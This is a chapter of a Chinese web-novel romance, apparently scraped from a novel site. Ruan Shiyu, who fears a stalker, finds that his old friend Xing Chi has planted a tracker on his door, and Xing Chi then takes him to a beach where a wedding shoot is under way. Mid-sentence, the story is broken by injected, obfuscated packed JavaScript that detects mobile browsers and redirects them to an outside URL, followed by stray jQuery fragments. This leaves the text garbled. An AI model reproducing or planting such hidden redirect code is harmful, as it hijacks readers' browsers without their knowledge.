默认冷灰
24号文字
方正启体

61. 第 61 章

作者:步山海本书字数:K更新时间:
    “也可能是想多了。”


    阮时雨没在自己家过夜,是第二天白天回来的,他一路上用这个理由安慰自己。


    保安值班室,


    “真的很抱歉,但昨天五号楼下面花坛附近的监控好像不太灵了,没记录到任何影像。”


    阮时雨脸色刷白,摇摇头,心不在焉地就要走出去。


    其实这片住宅区不算新,监控设备和其他设施可能也早该更新了,只是一直没人投诉还能对付着用,但要是真的出事闹大,还挺不好交代的。


    “业主,那您丢的东西?”物业经理有点犯难,恨不得立刻就去亡羊补牢。


    “算了。但是监控的问题……”


    物业经理大喜过望:“今天就全部检修一遍!”


    阮时雨回去的时候并没有多高兴,除了酒吧那晚,还有好几次独行之时,总觉得有种窥视的目光让他很不舒服。他宁愿这一切都是妄想症在作祟,总好过被一种不知名的威胁长久笼罩。这样下去好人也会疯掉的。


    一连好几天都在外面住宾馆,倒也能够安心完善一下毕业论文。阮时雨拒绝了韩述去他家暂住的提议,但是钱包很明显不允许他这样挥霍。


    他是白天回去的,包里还藏了根棒球棍。


    阮时雨觉得好笑,虽说小时候有段时间甚至被当成混混,没想到长大后金盆洗手,反而要受到其他隐身流氓的威慑。


    好在白天一切正常,楼梯间,其他层的住户大妈还热情地跟他打了招呼,好像就是那位要给他介绍对象的。


    阮时雨笑笑,心想自己万一被分尸藏尸发烂发臭,刑警查访起码也能降低点人家的工作难度吧。省得死后也给人家添麻烦,万一人家家庭和睦,正在给孩子庆生,结果因为自己突然回去加班,会不会被骂成自作自受的死gay活该被奸/杀呢。


    走到门口不过百米,他杂乱无章的思绪早已飘出十万八千里,阮时雨晃晃脑袋,背包里的药瓶跟着响,安慰自己只是临近毕业的焦虑罢了,他还能活好久甚至长命百岁呢。


    门把手的触感不太对。内侧好似被粘上了什么东西?


    阮时雨宁愿那是谁嚼剩的口香糖。


    然而那个奇怪的金属小圆片闪过红色光点,频率越来越快。


    阮时雨猛地警觉,隐约觉得应当还有一个与之配套的接收器,说不定此刻已经在鸣响!


    难道又是那个人!


    阮时雨心脏咚咚直跳,颤抖着手把钥匙插进去,拧开,然后迅速闭门反锁!


    要不要报警?到底是谁?为什么不放过他?


    “砰砰砰!”


    大门被敲响。


    来得太快了!


    阮时雨强迫自己冷静下来,但那晚的记忆再度袭来,肌肤上已经痊愈的痕迹好似再度烧灼。


    没事的没事的,先看一下猫眼,有问题立马报警!


    敲门声安静下来。


    阮时雨贴着门板,一点点起身,迅速一手捂住门上的猫眼,右眼对准位置,再打开手掌。


    一只同样的眼睛,一眨不眨凝视着他!


    阮时雨吓了一大跳,失去平衡又慌不择路,撞上玄关的鞋柜,又慢慢扶着柜门坐到地上。


    “开门啊阮时雨?我就说你应该回来了呀?怎么不开门?你和谁在一起呢?”


    阮时雨嗡鸣的脑袋逐渐听到外面熟悉的人声。


    “邢池?是你?”


    “是我,阮时雨你倒是开门啊!”


    邢池双手抱臂,穿着休闲的家居服,明显很不满他的磨磨唧唧。


    进门后,他就好似在自己家一样巡逻,“就你一个人在家吗?有没有藏了别人?”


    阮时雨脸色不太好,心情更不好,质问他:“门上那个东西是你贴的?”


    “对啊。”


    邢池一脸的理所应当彻底惹怒了阮时雨。


    “你有病吗?这是我家!”


    “轻点儿,衣服给你扯烂了。”邢池举起双手,领口被阮时雨扯得松弛。


    “你的目的是什么!你真不是那个变态?”


    阮时雨一直没怎么睡好的双眼此刻偏执得不太对劲。


    邢池终于收起吊儿郎当的模样,认真问:“时雨,你到底遇到什么了?”


    “不关你的事,你贴那个玩意儿不就是守株待兔找我吗?我现在就在这儿,说吧!你到底想干什么!”


    好似下一秒阮时雨的拳头就要落到他脸上。


    “你好几天没回来,我又没你新号码,联系你都联系不到。你说我该怎么办?”


    “你知道我花了多长时间才好不容易打听到你的下落,然后在你对面租了房。B市这么大,中国这么大,你要是突然搬走我上哪儿找你去啊!”


    阮时雨哑然,即使明知邢池这是倒打一耙——跟从前一样道德感低还混淆黑白,但他浮萍般的人生里,实在受不住这种浓度的羁绊,哪怕出于自私、哪怕只是纠缠。


    “我、我好端端的搬什么家?”


    可算账这种事,气势一旦软了下来,就等着被得寸进尺吧。


    邢池眼睫下垂,声音有点哑,像是在自嘲,“那天我把你惹生气了,你要是像以前一样人间蒸发了呢?”


    阮时雨皱眉,邢池没给他解释的机会,“我装作要租房,联系了这家屋主听说租客还没搬走,就想着等你下次回来无论如何要见一面,万一我打瞌睡的功夫又错过你最后一面了呢?”


    “你打就打吧,我认了。”邢池闭眼,仰着脸让他动手。


    阮时雨想质问他,你找我做什么,我跟你熟吗。但不知怎的,倏尔泄了力气,后退几步,坐回了沙发上。


    他心想:“我这是在做什么?泄愤吗?也就这点本事了。”


    在阮时雨眼神空茫、黯然神伤的时候,邢池不知不觉已经坐在了他身旁矮一点的布凳上。


    “时雨?”


    邢池其实比他还要高一些,此刻却屈着长腿坐得很低,自下而上看人时,那点眉压眼的阴鸷竟也变得温顺,甚至有点可怜。


    阮时雨没回应,叹了口气,把沙发上那只才买的大白猫玩偶搂进怀里。


    “你以前是真心拿我当朋友的对吧,不是我自作多情?”邢池语速放缓,声音近乎温柔,“反正我是信的,就算你反驳也没用。时雨,我好不容易才找着你,可以把我从黑名单里放出来吗?”


    邢池翻开手机聊天记录,果然,时间停滞在四年前。


    被拉黑之后,带着小红点的绿色消息框还是死性不改,源源不断地从右边冒出来。


    每个月都有。


    信息内容看不出情绪波澜,只是照例问他要不要出去玩之类的,就好像这并不是注定石沉大海的独角戏,而对面的老朋友也从不曾离开。


    最后一次消息是两年前。邢池指尖划过几次,便是三年不间断的记念。


    阮时雨埋进猫爪垫里的小脸抬了起来,那双杏眼终于不再空洞,手机屏的电子蓝光映入眼帘,他一眨不眨,再将视线探入邢池的瞳孔。


    想轻描淡写说声早就过去了,但断隔的时光好似卡在喉咙的铅块。


    半晌,阮时雨才掏出手机。


    邢池笑盈盈地看着他,“恭喜我刑满释放了!虽然我严重怀疑自己是被连坐的——对了,拉你回群里。”


    阮时雨愣了一下,然后立马反应过来他说的是哪个群!许延曦也在的“铁三角”!


    “别……!”


    已经来不及了,欢迎加入群聊的消息已经响起。


    邢池在群里发了一个庆祝表情。


    阮时雨下意识想要退群,但是看到群名旁边的括号里是2人。


    邢池将他的惊慌中的一丝失落尽收眼底:“他知道我假撬他墙角的事,觉得都是我才害你离开的,所以也跟我绝交了。他妈的我们认识了十二年啊。”


    这阮时雨真没想到。


    “我们没再联系过,除了那封结婚请帖。我说过,我不会去的。”


    阮时雨沉默了。


    怎么会这样。


    他只想安安静静地离开,最后还是伤害了许多人的感情。


    “抱歉。”


    “什么?”阮时雨埋着头近乎气音,所以邢池没听清似的。


    “你后来做什么呢?”阮时雨说了别的,“比如上学工作什么的。”


    邢池轻笑出声,“对嘛,这才像老朋友的重逢。”


    “我上学时候成绩一般,后来家里送我去学艺术了,反正也糊弄了个硕士文凭,我带你看看我的画室?”


    临走前,邢池将门上的金属片回收,然后兴致勃勃揽着他去停车场。


    “你居然喜欢艺术,看不出来。”阮时雨上了他那辆在阳光下会镭射变色的轿车。


    想起以前的时候,邢池经常叫他的许延曦出来玩,只是阮时雨那时候一门心思在许延曦身上,确实不太了解他。


    “Everychildisanartist.Theproblemishowtoremainanartistoncehegrowsup.”


    邢池打开车内音乐,沿着海边一路兜风。


    阮时雨也把手伸出窗外,海风抚过掌心,有点舒服。


    英文歌被邢池换成了舒缓的民谣,于是他也跟着哼了两声。


    不知不觉,已经驾驶很久了。


    阮时雨发现自己居然小睡了一会儿,才揉揉眼问问邢池:“不好意思我睡着了,请问我们快到了吗?”


    可能是考虑到他在睡觉,车窗已经不知道什么时候关上了。


    邢池笑笑,从车载纸巾盒给他抽出两张湿巾,“擦擦脸,前面的就是。”


    擦完之后果然清爽了很多,邢池还贴心地告诉他要丢到哪里,阮时雨往窗外的海边看了一眼,有些不确定地问:“是这里吗?”


    公路之下,眼前只有一望无际的海面和银白色沙滩,这片区域听说是属于高档住户,不对外开放的。


    邢池抬抬下巴,轻松道:“就那边那栋白的。”


    阮时雨惊讶睁大眼,“之前听说这边有影视剧组……”这还是听程闯说的。


    “哈哈是吗?可能是我大伯穷疯了,才租出去一阵子?”


    阮时雨反应过来,“……这,是邢家的?”


    普通人的生活过太久,他都快忘了自己高中时候受到怎样的贫富差距震撼。


    “嗯,我家的,准确说,是我爷爷给的生日礼物,”邢池冲他笑,海风把他的黑发吹得蓬松,“不提这个,我们先过去吧——时雨?”


    阮时雨望着大海出神,虽说来B市这么久,但海边里他生活的范围还是有一定距离的,所以他并没怎么来过。


    想起曾经无比迷茫的时候曾经面对的那条钓鱼河,如果当时是站正这样的海边,会不会心里更加释然?或许他脸上的表情就不会让贺老师担心到误会了。


    邢池见他出神,额角有一撮柔软的刘海,海风吹得晃了又晃,还是遮着半边眼睛,心想如果是他那个有点强迫症的发小见到,一定会帮他别回耳后吧。


    他也确实这么做了。


    阮时雨回过神来,才惊觉这种亲昵举动有点过于亲密。


    “我……”


    邢池却笑得坦然,“时雨,你在出神想什么呢?问你好几遍要不要先在海边走走?”


    阮时雨用力点头。


    于是两人挽起裤腿,慢慢踱步,谁也不急着回室内。


    “看看海面心里会好一点。其实我也有很多想不开的呢,”邢池和阮时雨并排踩沙子,“除了钱,我一无所有。”


    “……”阮时雨心说那很穷了。


    “知道这片地方为什么送我了吗?”


    阮时雨摇摇头,有钱人家的事他当然不明白。


    “我是独子,也是邢家这一代根正苗红的继承人,”邢池捻起一把白色沙子,“但我父母早就离异了,因为出轨,在我很小的时候,听说那个第三者是我大伯送到我父亲床上的。”


    阮时雨不知该怎么安慰他。


    “你应该也听出来了,其实像我们这样的家族,讲究忠诚倒不如谈利益更实在些,”邢池苦笑,“我父母也不是有什么真感情,只是我母亲也出身不凡,听说当初联姻也是受到她们那边人的暗算,正好抓第三者的机会大肆宣扬,赚足了舆论同情,分了不少邢家的好处,然后两家结怨,她倒是毫不留恋地走回香港了。我那时候两岁。”


    “之后……”


    邢池摇摇头,知道他要问什么,“我没再见过她了,除了在网上。但你也不用可怜我,我连她什么样都记不得,见了反而尴尬。”


    “可能因为都是保姆带大的,我和许延曦也挺同病相怜的。只不过我是仇家算计产生的苦果,他是亡妻留下的遗产,偷偷跟你说,他小时候给许承柏、也就是他亲爹起过外号,‘绝望的鳏夫’哈哈哈哈。”


    “……”


    邢池突然没心没肺地大笑起来,方才忧郁的氛围荡然无存。


    “有点饿了,能不能陪我在室外吃点东西呢?晚点再回学校好吗?”


    已经到了中午饭点,阮时雨顺从地答应,虽然额外的陪伴明显会超出他原本答应好的参观时间。其实他是很容易心软的人,虽然不太会用言语安慰,却总是习惯性同情别人的不幸遭遇。


    沙滩被太阳烘烤得温热,坐在简单的沙庐下用餐,比海景餐厅还要更自在些。


    邢池一个电话就叫来了满桌的海鲜大餐,跟阮时雨想象中的外卖快餐天壤之别,价位绝不是他能负担得起的。他微微低头,不由反思自己直接留下,与主客礼仪来说到底合不合适。


    “时雨,你在想什么?不用勉强,如果你不愿意的话,不用非留下陪我的,”邢池没管一口没吃的午饭,起身拿起车钥匙,“我送你回去。”


    没什么比这一招更好对付阮时雨的了,邢池脸上的失望太过明显,阮时雨慌忙间,甚至直接抓住他的手臂,“我、我不是这个意思,谢谢你请我吃饭,但我来说太贵了……”


    意识到自己手里细腻的触觉,阮时雨忙松开手,“我愿意陪你的,下次我请你吃饭好吗?”


    否则他会于心不安的。


    邢池笑了,“还有下次啊?那太好了。”


    虽然没有其他人来打扰,也没有游客留下的脚印和垃圾,但阮时雨还是觉得这里有点孤单。邢池住在这里难得不会有这种感觉吗。


    问完之后,邢池坦然回答:“当然了,而且天气不好的晚上,看向窗外会觉得很吓人的呢——对了,还没跟你讲完我怎么弄到这么块地方的。”


    “其实我父亲早就另有了家,只是我那个私生子出身的大伯把家族生意做得更大,他也就慢慢不受家族重视,我的身份稍显尴尬:虽然是长孙,一直以来也都出席家祭,原本在我成年之后也该进邢家的企业了,但由于‘三不管’、没人待见,所以我大伯就提议给我块小岛做补偿,言外之意便是要将我彻底赶出去了。”


    “这片海边开发区是我自己选的,比他承诺的便宜多了,他当然更愿意。其实我现在已经很自由了。”


    阮时雨点点头,“也是好事,我觉得你离开他们或许会更好。”


    “可离开你们呢?”


    阮时雨不语。


    邢池眼睫向下,“我之前梦到过,我在海边冲浪,许延曦在遮阳伞下睡觉,你在旁边支起一个小烤炉……”


    阮时雨轻笑一下,觉得睡觉确实很符合许延曦了,但没想到他还会梦到自己,不自在地插嘴道,“是在烧烤吗?”


    邢池勾起唇想象,“也可以诶!但我想的是你在煮奶茶。”


    阮时雨这回直接噗呲笑出了声,“现编的吧?我才不信。那你做梦也太ai了,我在海边煮奶茶?”


    虽然不太清楚,但奶茶好像也不是那么做的吧?


    邢池这回却没有笑,还有一个没开封的外卖袋,他伸手打开,居然正是两杯奶茶。


    阮时雨吞吞口水:“……”


    “你还记得第一次来我家的时候吗?”邢池把吸管插进去,让他先选。


    “我都行,你先挑吧。”阮时雨说完,愣愣地对上邢池的眼睛,突然想起来。


    时光好似再度流回那年,他诚惶诚恐等在门外,不谙世事的少年第一次被那所豪宅震慑,进门还不小心撞了人家的鞋柜,然而屋主人却很和善,邢池接到奶茶的时候,脸上全是意外和开心。


    一桌丰盛佳肴的上流人士氛围中,突然加入两杯大学生喜闻乐见的奶茶,阮时雨感觉自己好似回到了放学后的食堂。


    这回他先选了一杯。


    喉间流过甜丝丝的暖流,长久的紧绷和坏心情好像连日淫雨终于有了要放晴的征兆。


    “稍等,我去车上拿点东西。”


    阮时雨含着吸管,小幅度


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485346|201973||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地点头。


    转过头的瞬间,邢池嘴角勾起一抹意味不明的笑,眼睫轻蔑下垂,轿车停在几百米远的位置,他像是在欣赏一副刚完成的画作,对着日光下的少年迅速拍下照片。


    对面那栋海滨别墅逐渐走出人影,摄影师指挥着一对新人,因为目前还在那边取景,所以跟这边还有一定的距离。


    邢池的照片刚好将他们一同拍下。


    “小阮同学,你会怎么办呢?”会哭吗?以他的性子,大概会一边觉得难堪,一边拼命忍着吧?


    邢池修长的指节间,有一下没一下地把玩已经熄屏的手机。


    他张开双臂,闭着眼仰躺在的车盖上,有点灼眼的日光将皮肤烘烤得有点烫。


    也许是几分钟,也许是下一秒,抬头的时候大概就会看到那对般配的新人,幡然醒悟自己不该有的期待是怎样的可笑。


    或许太过震惊,连奶茶都要吓掉到地上,或许还会弄脏洗得发白的运动鞋……


    眼皮前面是通红一片,邢池的思绪越飞越远,整张画面急遽放大,在脑海里几乎精确到每个像素块的细节,他烦躁地拧紧眉毛。


    奶茶的部分不过是触景生情现场发挥的,口味也是随便点的,怎么这么处无所谓的闲笔居然还把自己也骗了两分。


    眼前倏尔一暗,邢池睁开眼,一个激灵,见鬼似地翻下车盖。


    阮时雨不知不觉间已然来到他面前,一手拿着奶茶,另一手帮他挡着眼睛。


    “你还真睡着了?”阮时雨笑着看他,“你们搞艺术的都这么随心随性吗?我以前还真不太了解你。”


    邢池敷衍两声,被小心地扶起来。


    “以后会慢慢了解的。”阮时雨眼神坚定,阳光衬得那双不含一丝杂质的明眸格外熠熠生辉,“虽然我还是希望你们能够和好,但我们以后还是朋友对吗?远亲不如近邻,以后在B市遇到什么事,随时可以来找我!”


    邢池怔愣地看着他,眼底闪过一瞬的压抑与不理解,然后闷闷地“嗯”了一声。


    虽然不知为何邢池好似一下子变冷淡了些,但阮时雨对于朋友并不吹毛求疵,并且想起可以让人家展示的重点环节,于是很有兴致地说:“我们去你的画室吧,我对艺术不是很感冒,还得麻烦你好好帮我讲解一下了呢。”


    邢池动动唇,忽然看到阮时雨笑颜之后那两人亲密拍照的身影,摄影师还在引导新人往方才他们呆过的沙庐走来。


    “上车。”


    邢池淡淡道,目光紧盯着阮时雨的后脑勺。阮时雨虽然不知为何,竟觉得他好似想将自己打晕。


    坐进副驾,车子没有发动,座位却被毫无征兆地调下去,阮时雨呆呆地仰倒,睁着一双溜圆的大眼睛看他。


    邢池面不改色,把自己的座位也同样调低,“突然有点困,稍微眯一会儿怎么样?”


    说完,他不等阮时雨的意见直接闭上了眼睛。


    阮时雨心说不然了,他刚才不是给车门上锁了吗。不过即使是睡着,也不必担心有坏人吧,更何况这片地方就他俩活人。


    开车来的路上阮时雨已经睡够了,所以独自拿起手机玩,还特意调成了静音。


    邢池有些后悔,自己闭上眼就没办法确认阮时雨的目光在哪里了,于是狭长的眼睛悄悄翘起一条小缝,鬼鬼祟祟瞄了一眼。


    好在网瘾少年不知在手机上摆弄着什么,反正一个人自娱自乐也能不亦乐乎。


    邢池突然想起来阮时雨之前低落和暴躁的情绪,隐隐觉得有点不太对劲,当时还有别的任务,而且简单归因为听到许延曦后的大起大落,不过现在想来,还是应该弄明白一点。


    对了,还有他误会的那件事,也须一并问个清楚。


    “嗯?你醒了?”


    “没。”


    “噗呲”一声轻笑,阮时雨向他看过来,“艺术家还赖床吗?”


    邢池皱着眉,率先挺腰,打哈欠的时候急忙往外瞄瞅。


    然后把座位调回去。


    “我们先回去吧,”邢池说,“今天累了。”


    所以他们大老远来转一圈就是为了吃一顿?


    阮时雨虽然心有疑问,却并不执拗,也系好了安全带。


    这副全心相信的模样让邢池说不上什么感觉,有点松了口气,又有点点觉得他太好骗了,一顿饭就忘了以前对他不好的部分。


    两人回到柏油路上,阮时雨回望方才的海景,高兴地跟邢池说:“我看到那里有拍婚纱照的,在这里拍照会很漂亮吧,”他忽然又想起来这里是邢池的私人领地,问道,“别人可以擅自进来的吗?”


    邢池匆匆盯了一眼,好在海边如今只剩新娘,应该是到了拍个人照的时候。


    油门突然踩得很深,他说,“一个朋友。”


    虽然有点敷衍,但阮时雨体谅他开车的辛苦,自己一个人看也挺有意思,“不是说幸福的家庭都是相似的吗,可能幸福的人也一样吧,不知怎么回事,居然觉得那个人有点眼熟的样子。”


    邢池已经开出了飙车的速度,而且隔着这么远,他是千里眼吗?


    好在阮时雨并没深想,他就是这样,别人只要给一个过得去的解释他就不执着。


    “邢池,你开慢一点,安全驾驶。”


    终于彻底离开这里的时候邢池才松了口气。说来真是可笑,明明是他各种三寸不烂之舌才把人哄来这里,如今却屁股着火似地落荒而逃。


    “对了,你之前说把我认成了别的什么人吗?”


    阮时雨含混道“也没……”


    “猥亵犯?”邢池一阵见血。


    阮时雨叹了口气,只好将这件事的来龙去脉告诉了他。


    邢池微微拧眉,沉默半晌,就在阮时雨以为他不会说什么了的时候,邢池才语气笃定:“时雨,搬来我家住吧。”


    阮时雨诧异,然后笑出声来,“邢池你忘了自己就住在我对门吗?”


    “为了你的人身安全着想。”


    “是祸躲不过,”阮时雨说,“而且你以后出入的时候也小心一点吧。”


    邢池失笑:“我一个直男怕什么?”


    阮时雨心里想翻白眼,“是是是,任何犯罪分子在面对艺术家的时候都会先礼后兵。”


    “……”


    小阮同学还嘲讽上他了?


    “说真的,”阮时雨挽起胳膊亮出一点肌肉,“我应该还是比你要厉害一点的,但我这样前专业的都不是那个人的对手——虽说当时有点醉吧。”


    邢池失笑:“行吧,我只是一个羸弱的艺术家。”


    阮时雨为他的自知之明认真点头。


    对门邻居和善地道别。


    关门声刚落,邢池脸上的笑容瞬间消失,偏冷色的皮肤和深色一点的卧蚕显得有些阴鸷。


    微信消息弹出,问阮时雨怎么没来。


    他将自己摔进沙发里,烦躁地翻看相册里那张照片。拍得很匆忙,虽然三人同框,构图光线什么的一点都不讲究。但他还是觉得主体人物放松的肩背、柔软的发梢,面朝大海的模样,有种不可名状的……美感?


    不可能,他怎么会从一个男人身上找到这种感觉?或许只是审美偏差的错觉吧。


    邢池鸵鸟似地装作没看到消息,先打开朋友圈磨叽一会儿,突然从沙发上弹了起来。


    最新一条是阮时雨发的,没有文字,照片里:大海、白沙,偶尔两只鸥鸟。单纯的风景照,没拍到任何建筑。


    评论区里,阮时雨不知是在回复谁:


    【那好巧啊,这个季节确实很适合拍婚纱:)】


    邢池看着廖廖几个字又开始出神,阮时雨这个什么都不知道的笨蛋,看到穿婚纱的新娘,满眼都是幸福和赞美的表情……难不成他喜欢婚纱?


    !


    邢池一拍脑门儿,虽说同性恋有很多种,阮时雨不是娘们儿唧唧的那类型,但说不准他还真是出于向往呢,有的国家允许同性恋结婚,那么婚礼当天,俩男的都穿成新郎,还是其中一个穿成“新娘”呢?


    这种侵入性思维让他无法停止地持续幻想,脑袋里频繁更换阮时雨穿白西服和白婚纱的形象。


    想着想着,手机突然响了起来。


    “喂?”


    许延曦听他声音,以为事情不乐观,“怎么回事?他人呢?”


    两秒后,邢池黯然道:“没信,没来,他说跟我不熟。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)